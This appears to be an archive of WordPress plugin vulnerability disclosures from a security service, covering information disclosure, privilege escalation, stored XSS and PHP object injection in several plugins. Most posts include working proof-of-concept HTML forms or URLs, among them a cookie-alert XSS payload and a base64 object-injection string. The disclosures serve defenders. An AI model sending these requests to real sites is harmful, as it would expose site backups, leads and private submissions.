10 May

Information Disclosure Vulnerability in Google Drive for WordPress (wp-google-drive)

Yesterday we had a request on this website for a file that would be at /wp-content/plugins/wp-google-drive/gdrive-ajaxs.php, which is a file from the plugin Google Drive for WordPress (wp-google-drive). Just about a month ago we had provided more details on an arbitrary file deletion vulnerability in that plugin, which had been incorrectly labeled by the discoverer, Lenon Leite, as being a remote execution (RCE) vulnerability. When exploiting that vulnerability you would send a request to that particular file, but that type of vulnerability is not one that based on past experience, hackers would likely be interested in exploiting. While hackers’ level of interest in that type of vulnerability could have changed, what seems more likely that is someone was either thinking it was a RCE vulnerability, since those have been likely to be exploited in the past, or there was something else that a hacker realized was exploitable in that plugin that would be of more interest.

In looking at what else was accessible through that file we didn’t see anything that looks like it would be likely to be exploited, but we did notice another vulnerability.

In that file different code will be run depending on the value of the POST input “ajaxstype”:

11
switch($_POST['ajaxstype']){

Through that code can be run that will perform a backup:

12
13
14
15
case 'ontimebackup':
		$bkp    = new gd_take_backup('ontime_backup');
		$backup = $bkp->schedule_time_backup();
break;

The function schedule_time_backup(), which is located in the file /class/backup-class.php, will by default create a ZIP file backup of the website’s files in the directory /wp-content/backup/ with the filename based on the current time of the server using the function time(). While it would be easy enough to iterate through possible values for the name of the file and download the generated file, it turns out it is even easier than that to download the backup file, as the code utilized in the previously disclosed arbitrary file deletion vulnerability ends with a call to a function that lists the files in the directory and even provides a download link:

17
18
19
20
21
22
23
case 'del_fl_bkp':
		gd_delete_listById($_POST['id']);
		$dir = GBACKUP_PLUGIN_BACKUPFOLDER_PATH."/".$_POST['file_name'];
		@unlink( $dir );
		$dbkp = new settings_option;
		$dbkp->file_manage_list();
break;

The plugin doesn’t appear to have been supported for years, so we haven’t attempted to notify the developer of this vulnerability.

Proof of Concept

The following proof of concept will provide a link to a ZIP file containing the website’s files.

Make sure to replace “[path to WordPress]” with the location of WordPress.

This request will generate the backup (make sure to replace “[path to WordPress]” with the location of WordPress):

<html>
<body>
<form action="http://localhost/wp-content/plugins/wp-google-drive/gdrive-ajaxs.php" method="POST">
<input type="hidden" name="ajaxstype" value="ontimebackup" />
<input type="submit" value="Submit" />
</form>
</body>

This request provides a link to download the backup:

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/wp-google-drive/gdrive-ajaxs.php" method="POST">
<input type="hidden" name="ajaxstype" value="del_fl_bkp" />
<input type="submit" value="Submit" />
</form>
</body>
19 Dec

Is This What a Hacker Would Be Targeting the Table Maker Plugin For?

Last week we mentioned that we had recently seen what looked to be probing for the usage of the SendinBlue Subscribe Form And WP SMTP and another plugin. That other plugin is Table Maker, which we had been seeing requests for its readme.txt like this: /wp-content/plugins/table-maker/readme.txt. One of the few possible explanations for requests like that is that someone is probing for usage of the plugin to know what websites to exploit through a vulnerability in the plugin.

In SendinBlue we found a SQL injection vulnerability that matches claims of hackers targeting SQL injection vulnerabilities in code whose result is then passed to the unserialize() function. We have yet to see any evidence that the claims are true, but whether they are true or not, it might explain a hacker’s interest (hackers have been known to target vulnerabilities that don’t actually exist). In looking over Table Maker we found several security issues that involve code around a similar issue, but we didn’t find something that would be obvious for a hacker to exploit. If you see some other issues that hackers might be targeting we would love to hear about it.

Update (December 20): Thanks to some help from J.D. Grimes in the comments of this post, we have now figure out how PHP object injection could have occurred through SQL injection issue mentioned later in the post, which seems like it would be what a hacker would have been interested targeting in the plugin.

Unlike SendinBlue the developer of Table Maker has now fixed the issues we noticed.

As of version 1.6, the function get() in /inc/class-wpsm-db-table.php improperly handled the security of a SQL statement that had its result unserialized:

94
95
96
97
98
99
100
101
102
103
public function get($id){
	if( is_array($id) ){
		$id = sprintf('(%s)', implode(',', $id));
	}
	else {
		$id = sprintf('(%d)', $id);
	}
	$row = $this->db->get_row("SELECT * FROM $this->table_name WHERE id IN $id", ARRAY_A);
	if($row){
		$row['tvalues'] = $this->unserialize($row['tvalues']);

Since the value of $id can come from user input, a prepared statement should be used when generating the SQL statement in that to prevent the possibility the input could include SQL code that would run when SQL statement in it is processed. We couldn’t find a way that could be exploited though, since unless you can cause the value of $id to be seen as an array, it is limited to an integer in the SQL statement. In version 1.9 that was changed to use a prepared statement:

93
94
95
96
97
public function get($id){
	$query = $this->db->prepare("SELECT * FROM $this->table_name WHERE id IN (%d)", $id);
	$row = $this->db->get_row($query, ARRAY_A);
	if($row){
		$row['tvalues'] = $this->unserialize($row['tvalues']);

We should note here that unserialize being used in the above code is not PHP’s, but this:

123
124
125
private function unserialize($item){
	return unserialize(base64_decode($item));
}

When we looked around at where that function gets called and therefore what the value being passed to it could be, we noticed another security issue.

The function xml_download() ran when WordPress generates pages as it ran once WordPress has loaded activated plugins:

30
add_action('plugins_loaded', array($this, 'xml_download'));

That function then allowed anyone access to the get() function:

395
396
397
function xml_download() {
	if(isset($_POST['wpsm-export-table'])) {
		$result = $this->db->get( $_GET['table'] );

We didn’t see away that could pass something that is seen as an array with that.

That function will export an XML copy of a table made through the plugin. The only place it looks like their UI for doing that is in the plugin’s admin page, which was usually limited to only those logged in as Administrators, while the code allows even those not logged in to do that export. That would probably be of little concern if all of the tables are publicly accessible, but in other instances it could be of more concern. The lack of proper restrictions on access to the plugin’s admin functionality was not restricted to this code though.

That was fixed by moving its functionality in the next piece of code we will focus on.

After looking at how it might be possible to cause SQL injection occur in the code shown earlier, we started looking at if it would be possible for an attacker to set the value that would be pulled from the database and the unserialized instead.  What we found as we looked over things is that the plugin had handled requests in the admin area insecurely in way that is common enough that just that type of issue is something that we know check for during security reviews of plugin that we do as part of our service and separately.

The plugin registered the function handle_requests() to run during admin_init:

29
add_action( 'admin_init', array($this, 'handle_requests') );

What is very important to understand about that is that when accessing certain URLs that will cause the function to run even if the requester was not logged in to WordPress. That can lead to serious issue if the code does not have proper security checks in place, which was the case with this plugin.

The only restriction before getting to functionality of that function was to check to see if the function is_plugin_page() returns true:

305
306
307
public function handle_requests() {
	if( !$this->is_plugin_page() )
		return;

All of the things that checked can be true without being logged in:

299
300
301
302
303
private function is_plugin_page() {
	if( !is_admin() || !isset($_GET['page']) || $this->page_slug != $_GET['page'] || (!isset($_GET['action']) && !isset($_GET['action2'])) )
		return false;
	return true;
}

The rest of the code in handle_requests() allows for adding, editing, deleting, and importing tables into the plugin.

As far as we could find though that wouldn’t allow for setting a value passed to unserialize() that could be used for PHP object injection though. Though maybe someone else sees how that can be done, so let’s go through an example of what happens in that function.

Here is the code in it for adding a new table:

312
313
314
315
316
317
318
319
if($_GET['action'] == 'add' && isset($_POST['wpsm-create-table'])){
	if (!isset ($_POST['table_respon'])) {$_POST['table_respon'] = '';}
	$result = $this->db->add( $_POST['table_name'], $_POST['table_rows'], $_POST['table_cols'],  $_POST['table_subs'], $_POST['table_color'], $_POST['table_respon'], $_POST['table_values'] );
	if($result){
		$sendback = add_query_arg( array( 'page' => $_GET['page'], 'action' => 'edit', 'table' => $result, 'added' => true ), '' );
		wp_redirect($sendback);
	}
}

The POST input “table_values” is the starting place for the “tvalues” being unserialized in the other code. When the function that is passed to, add(), it gets run through serialize():

51
52
53
54
55
56
57
58
59
60
public function add($name, $rows, $cols, $subs, $color, $responsive, $tvalues){
	$name 	= wp_strip_all_tags(wp_unslash($name));
	$rows 		= intval(wp_unslash($rows));
	$cols 		= intval(wp_unslash($cols));
	$subs 		= strval(wp_unslash($subs));
	$color 		= strval(wp_unslash($color));
	$responsive 		= intval(wp_unslash($responsive));
	$tvalues 	= $this->serialize(wp_unslash($tvalues));
 
	$result = $this->db->insert( $this->table_name, array('name' => $name, 'rows' => $rows, 'cols' => $cols, 'subs' => $subs, 'color' => $color, 'responsive' => $responsive, 'tvalues' => $tvalues ) );

Like unserialize, that is not the PHP version, but this:

119
120
121
private function serialize($item){
	return base64_encode(serialize($item));
}

We didn’t see how we could pass a value that would cause PHP object injection through that code, since it would need to be unserialized when passed through it.

The ability to add or edit tables also allowed persistent cross-site scripting (XSS) to occur.

In version 1.9 the rest of the code in the function handle_request() will only run if the user has the “publish_posts” capability and they are visiting plugin’s admin page:

298
299
300
public function handle_requests($current_screen) {
 
	if(current_user_can('publish_posts') && $current_screen->base == 'toplevel_page_wpsm_table_maker') { //Check if user have enough rights

There was code added to prevent cross-site request forgery (CSRF) when taking actions through that.

As we were preparing this post we noticed that because Author level users can now access the admin page for the plugin (they were previously limited Administrator users), there is an issue with authenticated cross-site scripting (XSS), which we will be notify them of.

Wider Warning

Due to the fact that the privilege escalation issue might be being targeted by hackers (and it impacted all previous version) we are adding it to the free data that comes with our service’s companion plugin, so that even those not using our service yet can be warned if they are using an older version of the Table Maker.

Proof of Concepts

Information Disclosure

The following proof of concept will cause an XML copy of a specified table to be offered for download.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[table ID]” with the ID of table to be downloaded.

<html>
<body>
<form action="http://[path to WordPress]/?table=[table ID]" method="POST">
<input type="hidden" name="wpsm-export-table" />
<input type="submit" value="Submit" />
</form>
</body>

Privilege Escalation

The following proof of concept will create a new table.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action='http://[path to WordPress]/wp-admin/admin-post.php?page=wpsm_table_maker&action=add&action2=' method="POST">
<input type="hidden" name="wpsm-create-table" />
<input type="hidden" name="table_name" value="Test" />
<input type="hidden" name="table_values" value="Test" />
<input type="submit" value="Submit" />
</form>
</body>

Persistent Cross-Site Scripting (XSS)

The following proof of concept will cause any available cookies to be shown in an alert box when visiting the page /wp-admin/admin.php?page=wpsm_table_maker.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action='http://[path to WordPress]/wp-admin/admin-post.php?page=wpsm_table_maker&action=add&action2=' method="POST">
<input type="hidden" name="wpsm-create-table" />
<input type="hidden" name="table_name" value="Test" />
<input type="hidden" name="table_values" value="Test" />
<input type="hidden" name="table_subs" value='<script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • December 12, 2017 – Developer notified.
  • December 13, 2017 – Developer responds.
  • December 18, 2017 – Version 1.9, which fixes issues.
08 Dec

It Would Probably Be a Good Idea to Be Moving Off of the Captcha WordPress Plugin

The takeover of popular WordPress plugins and then use of them for nefarious purposes has been a major issue when it comes to the security of WordPress plugins this year. Even if the takeover is not done with malicious purposes in mind, a new developer that doesn’t know what they are doing can take an otherwise relatively secure plugin and in a short time make tens or hundreds of thousands of websites insecure. At least that latter issue is true of the plugin Captcha.

The plugin Captcha has 300,000+ active installations according to WordPress.org, including this website and another of ours. Back in July the plugin was handed over from the previous developer, BestWebSoft, to another entity. Then in September an update to the plugin caused the admin area of our other website using the plugin to not function, we were not alone in that. It was only at that point that BestWebSoft mentioned that ownership had been transferred, though the new developer isn’t named:

Recently, we’ve handed over all the rights to use and manage the free version of Captcha plugin. Now, it has new owners which are responsible for the updates, troubleshooting and support any processes connected with its free version.

Going back to the commit when that change occurred, the copyright listing on files was changed from listing BestWebSoft as being the copyrighter to no one listed. The new author of the plugin is “wpdevmgr2678”, which doesn’t exactly project a professional image of the new developer.

The issue of causing the admin area to be inaccessible was then fixed. But then another update caused the admin area of this website to be inaccessible yesterday. As we started to look in to what all was going on, one of things we noticed was the latest review of the plugin on the Plugin Directory:

Since the switch from BestWebSoft to Simplywordpress, the quality of this plugin has gone downhill, with numerous problems or issues introduced with what seems like every update. I no longer recommend using this plugin.

For example:

  • Formidable Forms discontinued its Math Captcha integration plugin with this plugin because of breaking updates (like reversing “cptch” to “hctpc” in the code for no discernible reason in an update)
  • As of update 4.4.4 adds ~500 queries associated with visitor tracking or some other nonsense, with many repeated queries, adding over 100ms to every page generation time (not even Memcached could help)
  • Increasingly poor English wording and grammar, leading to possible confusion

The second issue mentioned concerned us and as we will get to in a bit lead to us finding that plugin has multiple security issues caused by that. The third issue also seemed concerning based on us doing some looking into the developer at that point.

The profile page for the developer on wordpress.org lists them as being located in California. Their website, which was registered the day after the transfer of the plugin appears to have happened, though lists an address in the United Kingdom. In one of the prominent instances of a malicious takeover of a plugin there was similar situation where the developers were listing different locations as their supposed location in various places, so that raises a red flag. The server the website is hosted in located in Canada, for what that is worth.

Based on one of the comments from first time the plugin was making admin areas inaccessible the person responding there would seem to not be the person doing the development:

Hey guys thanks as you can see were aware of the plugin issues problem please remove it and accept my sincerest apologies.

I will be creating a mailbox where you can tell the Dev he is usless personally or maybe a skype group

On the website of the plugin’s developer they market their skills as being different than the actual quality of the changes being made to the plugin have shown. From the homepage there is this:

 We are professional programmers who simply love WordPress and can’t wait to make a custom designed plugin for you!

And this:

Hire a team not a guy working in his mom’s basement.

Also on the homepage they twice mention a security service included with their plugins:

With every plugin we have included our “simply-secured” service which helps protect your website from threats.

Every plugin comes with our simply-secured service which protects your site from threats.

Though as we will get to in a moment their Captcha plugins actual introduces security vulnerabilities.

On their services page they make several claims that don’t match the real results with the Captcha plugin:

WP plugin testing and validation

At Simply WordPress, we never improvise on a whim. While we develop fully customized WP plugins, we make sure they can pass validation by WordPress. We build up on the core WP files and add the functionalities you need.

 

Our team is on the ball 24/7 and you can be sure that nothing slips under our radar. If there is so much as a glitch, we fix it right away so your website can keep bringing you profit!

Also worth noting is that on their contact page, the captcha is not generated by someone else’s captcha plugin.

As of today the plugin has been removed from the Plugin Directory, though WordPress continues to not to handle that situation properly and inform people why a plugin has been closed. In this case the developer states that:

We just wanted to let you know the plugin wont be available to be downloaded for a few days as WordPress as asked us to change our brand name as it contains the word “wordpress” which goes against there terms. Obviously we were unaware of this issue and will get this fixed and be back shortly.

Failing at Security Basics

Back in October we announced a new tool that does limited automated security testing of WordPress plugins, so the public can get some idea if a plugin might contain security issues that warrant further review. One of the things that tool checks for is if the plugin registers AJAX accessible function to be accessible to those not logged in as well to those logged in. While there are perfectly safe situations where that happens, what we have found with many vulnerabilities we and others have discovered, is that often time’s plugins are making functionality accessible to those not logged in that they don’t need access to. A month ago we noted how that situation lead to attempts to utilize a vulnerability that had been in the plugin Formidable Forms to exploit a vulnerability in another plugin. That also turns out to be an issue with Captcha starting with version 4.3.6.

As part of the “visitor tracking” mentioned in the review previously mentioned, the file /live-trafic-lib/cptch_traffic_functions.php was added to the plugin and that makes several functions available to anyone whether they are logged in or not.

One of those is the function cptch_get_traffic_record_callback():

911
912
913
add_action( 'wp_ajax_cptch_get_traffic_record',        'cptch_get_traffic_record_callback' );
 
add_action( 'wp_ajax_nopriv_cptch_get_traffic_record', 'cptch_get_traffic_record_callback' );

When that function is requested it doesn’t do any checks on who is making the request before displaying the live traffic. So anyone can monitor visits to the websites, despite it looking like only Administrators are intended to be able to do that.

Other functions that are available allow anyone to block or unblock IP address or whole countries from logging in to the website or utilizing anything that requires a captcha.

What are missing here are not advanced security measures, just the basics, so it looks like the developer doesn’t have a basic understanding of how the security of WordPress plugins should be handled.

Some of the code in those functions isn’t properly handling things to protect against SQL injection, though in our quick check we didn’t see a way it could be exloited.

We have notified the developer of this issues. Due to our overall concern with the plugin and the fact that is currently removed from the Plugin Directory, we decided not to hold back disclosure as we would normally do.

Phoning Home

After you upgrade the plugin to the most recent version an “urgent” message is shown:

At the same If you visit the plugin’s admin page you will receive the following message:

If you click the “Recommend Settings” button shown in the first image or the “Select Prefered Settings” button shown in the second, the plugin will start contacting the developer’s website for a list of blacklisted IP addresses and pass along the site’s address. That would seem to be in violation of the guidelines for plugin’s in the Plugin Directory since there doesn’t seem proper notification of that:

In the interest of protecting user privacy, plugins may not contact external servers without the explicit consent of the user via requiring registration with a service or a checkbox within the settings. This method is called ‘opt in.’ Documentation on how any user data is collected, and used, should be included in the plugin’s readme, preferably with a clearly stated privacy policy.

This restriction includes the following:

  • No unauthorized collection of user data. Users may be asked to submit information but it cannot be automatically recorded without explicit confirmation from the user.
  • Intentionally misleading users into submitting information as a requirement for use of the plugin itself is prohibited.
  • Images and scripts should be loaded locally as part of the plugin whenever possible. If external data (such as blocklists) is required, their inclusion must be made clear to the user.
  • Any third party advertisement mechanisms used within the plugin must have all tracking features disabled by default. Advertisement mechanisms which do not have the capability of disabling user tracking features are prohibited.

The sole exception to this policy is Software as a Service, such as Twitter, an Amazon CDN plugin, or Akismet. By installing, activating, registering, and configuring plugins that utilize those services, consent is granted for those systems.

Moving Off This Plugin

At this point there is a new developer of this plugin that at best isn’t doing enough testing before releasing updates and is introducing other issues to the plugin, so it seems the best thing to do would be to move off of the plugin.

On our websites we have moved back to the last version by the previous developer until we can find a more permanent replacement.

Proof of Concept

The following proof of concept will cause the latest traffic to the website to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=cptch_get_traffic_record" method="POST">
<input type="hidden" name="page" value="1" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • December 8, 2017 – Developer notified.
17 Nov

Vulnerability Details: Information Disclosure Vulnerability in ProfileGrid

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

Last week we discussed that checking for usage of outdated third-party libraries is difficult when even a security library ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

22 Sep

PHP Object Injection Vulnerability in DS.DownloadList

For the second time through our proactive monitoring of changes in WordPress plugins for serious vulnerabilities we have found a vulnerability not just as it is added to a plugin, but as the plugin was introduced into the Plugin Directory.

There is a manual review done of plugins before they are approved for the Plugin Directory and that appears to be intended to involve some check of the security of the plugins as it is stated that:

 Then someone will manually review your code. If we find no issues with the security, documentation, or presentation, your plugin will be approved.

There is nothing beyond that, which explains what, if anything, is actually checked for security wise, which is concerning, Unfortunately that isn’t just an issue with that process, everything to do with handling security by the Plugin Directory is very opaque and maybe not unrelated to that, there are a lot of problems with their handling of security as well.

In the case of the plugin DS.DownloadList, what drew our attention to it was a PHP object injection vulnerability, which is a type of vulnerability that hackers have exploited widely in the last year. But during a review of the plugin the whole concept should have been concerning due to what it is described as doing, “A lightweight plugin to download files and browse folders”.

While the plugin has some protection against abuse what we found was that it could be used by anyone to view the contents of directories inside the /wp-content/ directory. That could for example, allow someone to find the names and then download backup files, which would otherwise be protected by the use of non-easily guessable file and directory names.

The PHP object injection vulnerability occurs at the beginning the function wp_ajax_dsdl(), which is located in the file /classes/Action.class.php:

21
22
23
24
public static function wp_ajax_dsdl()
{
 
	$atts = @unserialize(base64_decode($_REQUEST['atts']));

The value of the GET or POST input “atts” will be unserialized, which permits PHP object injection to occur.

From the name of the function you can probably guess that it is accessed through WordPress’ AJAX functionality. In this case it is made accessible whether logged in or not:

32
33
add_action('wp_ajax_dsdl', array('\dsdl\Action', 'wp_ajax_dsdl'));
add_action('wp_ajax_nopriv_dsdl', array('\dsdl\Action', 'wp_ajax_dsdl'));

We contacted the developer about the vulnerability a week ago, but have not heard back from them. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, visiting the following URL will cause the message “PHP object injection has occurred.” to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=dsdl&atts=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=

Timeline

  • September 15, 2017 – Developer notified.
26 Jun

Information Disclosure Vulnerability in UpiCRM

When it comes to areas where there is lot of room for better security in WordPress plugins, two that come to mind are the security of plugins that handle business related task and the security of personal information stored in plugins. Those came together in a vulnerability we happened to run run across in the plugin UpiCRM while looking into the possibility of a different vulnerability.

The plugin features the ability export lead information (names, email addresses, phone numbers, etc) to a file. When that occurs the file is saved to the directory /wp-content/uploads/upicrm/ with the name leads.csv or leads.xlsx depending on the format requested. Access to files in the directory is not restricted, so anyone can later request the files at that location and will be served them if an export was previously done that generated them.

We contacted the developer of the plugin about the issue a week ago, but we have not heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

  1. Visit the Exports page and click “Export all leads data to Excel”.
  2. Log out of WordPress.
  3. Now when requesting the URL http://[path to WordPress]/wp-content/uploads/upicrm/leads.xlsx (make sure to replace “[path to WordPress]” with the location of WordPress) you will be served the export.

Timeline

  • June 19, 2017 – Developer notified.
08 Jun

Information Disclosure Vulnerability in Save Contact Form 7

While looking into a recent security fix for a SQL injection vulnerability in version 2.0 of the plugin Save Contact Form 7 we noticed a much larger issue in the relevant code, all the contact form submissions saved by the plugin are publicly accessible.

Normally the submissions saved by the plugin are viewed through the plugin’s admin page which is only accessible to those logged in to WordPress with as a user with the “manage_options” capability, which normally only Administrator level users have. The submissions shown to those users are served through an AJAX request, but the handling of AJAX request is configured to allow those not even logged in to access it (in the file /save-contact-form-7.php):

472
473
add_action('wp_ajax_nimble_ajax_datatable', 'nimble_populate_datatable'); // ajax for logged in users
add_action('wp_ajax_nopriv_nimble_ajax_datatable', 'nimble_populate_datatable'); // ajax for not logged in users

The comment in the second line that it is “for not logged in users” is not something we added, so the developer should have been aware that they were making the function available to those not logged in.

The requests causes the function nimble_populate_datatable(), which is located in the same file, to execute. That function doesn’t check to see if the request is coming from a user with “manage_options” capability, so anyone can make a request to it and view the submissions of a specified contact form.

The contact form whose results will be shown is specified by the plugin’s ID number for the contact form, which is set a 1 for the first contact form with a saved submission and subsequent integers for additional contact forms. So someone could easily enumerate through all of the contact form IDs to view all results.

We contacted the developer about the vulnerability over a month ago but have not heard back from them and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause all the contact form submissions for the first contact form that the plugin saved submissions to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="nimble_ajax_datatable" />
<input type="hidden" name="id" value="1" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 3, 2017 – Developer notified.
31 Mar

Information Disclosure Vulnerability in Easy Digital Downloads

One of the features of our service is that our customers get to suggest and vote for plugins to get a security review done by us. Last month we did a review of the plugin Easy Digital Downloads and one of the issues we found through that was an information disclosure vulnerability.

The function edd_ajax_get_download_title in the file /includes/ajax-functions.php is accessible via AJAX by those logged in and out, despite stating that it is “used only in WordPress Admin”. The function is intended to return the title of the plugin’s downloads, but as can be seen below it lacks any restriction as to what it will return the tile of:

396
397
398
399
400
401
402
403
404
405
406
function edd_ajax_get_download_title() {
	if ( isset( $_POST['download_id'] ) ) {
		$title = get_the_title( $_POST['download_id'] );
		if ( $title ) {
			echo $title;
		} else {
			echo 'fail';
		}
	}
	edd_die();
}

Since the function will return the title of any post (not just downloads), there is the possibility that the title of unpublished posts, private posts, or other private content stored in a post could be exposed through that.

It looks like that function isn’t actually used anymore, at least we couldn’t find where it was used in the plugin.

We notified the developer of the issue on February 27 and they responded, but the issue has not been resolved as of our posting this.

Proof of Concept

The following proof of concept will return the title of the post specified.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[post ID]” with the ID of the post.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="edd_get_download_title" />
<input type="hidden" name="download_id" value="[post ID]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • February 27, 2017 – Developer notified.
  • February 27, 2017 – Developer responds.
  • July 25, 2017 – Version 2.8 release, which fixes vulnerability.
19 Jan

Vulnerability Details: Information Disclosure Vulnerability in W3 Total Cache

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

02 Jan

Information Disclosure Vulnerability in Pike Firewall

In our testing of WordPress security plugins to see what, if any, protection they provide against the exploitation of actual vulnerabilities in other plugins the results haven’t been good so far. Most of the plugins tested haven’t provided any protection against those vulnerabilities. That hasn’t really surprised us, as much of what these plugins do doesn’t have any impact on what hackers actually try to do. One example is that many of these plugins check if you have change the database prefix to something other than the default “wp_”, but knowing the database prefix is rarely needed for vulnerabilities we see being exploited. If knowing the database prefix was a big deal then the vulnerability we recently found in a security plugin would be a big deal, as the vulnerability exposes that.

While doing a few quick security checks over the plugin Pike Firewall we noticed that it has the capability to log login attempts. We and others have found that capability in plugins has introduced security vulnerabilities into plugins due to improper handling of user input that comes through that. One of things that has been an issue with other plugins is that malicious JavaScript code placed in the HTTP header field X-Forwarded-For will get displayed on the plugin’s pages unsanitized or unescaped leading to cross-site scripting (XSS). In this case we found it caused another issue when tried logging in with it set to malicious code we got this error:

WordPress database error: []
SHOW FULL COLUMNS FROM `wp_pike_firewall_login`

The database prefix is being shown in that error message.

In looking at the underling code the cause of this is (in the file /pikefirewall.php):

2756
2757
2758
2759
if ( !$wpdb->insert($pike_tables['login'], array('username' => $username, 'user_address' =>; $pike_ip, 'user_agent' => $pike_agent, 'type' => $type, 'success' =&gt; $success), array('%s', '%s', '%s'))) {
	$wpdb>show_errors();
	wp_die($wpdb->print_error());
}

You can see that error reporting is enabled and if there is an error it gets printed, which shouldn’t be happening in a non-development environment since as our example shows it is disclosing non-public information.

We contacted the developer about the issue on December 19, but we have not heard back from them and the vulnerability has not been fixed.

Proof of Concept

With login attempt logging turned on, set the X-Forwarded-For HTTP header to

<script>alert(document.cookie);</script>

and attempt to log in to WordPress (the username/password doesn’t matter).

Timeline

  • December 19, 2016 – Developer notified.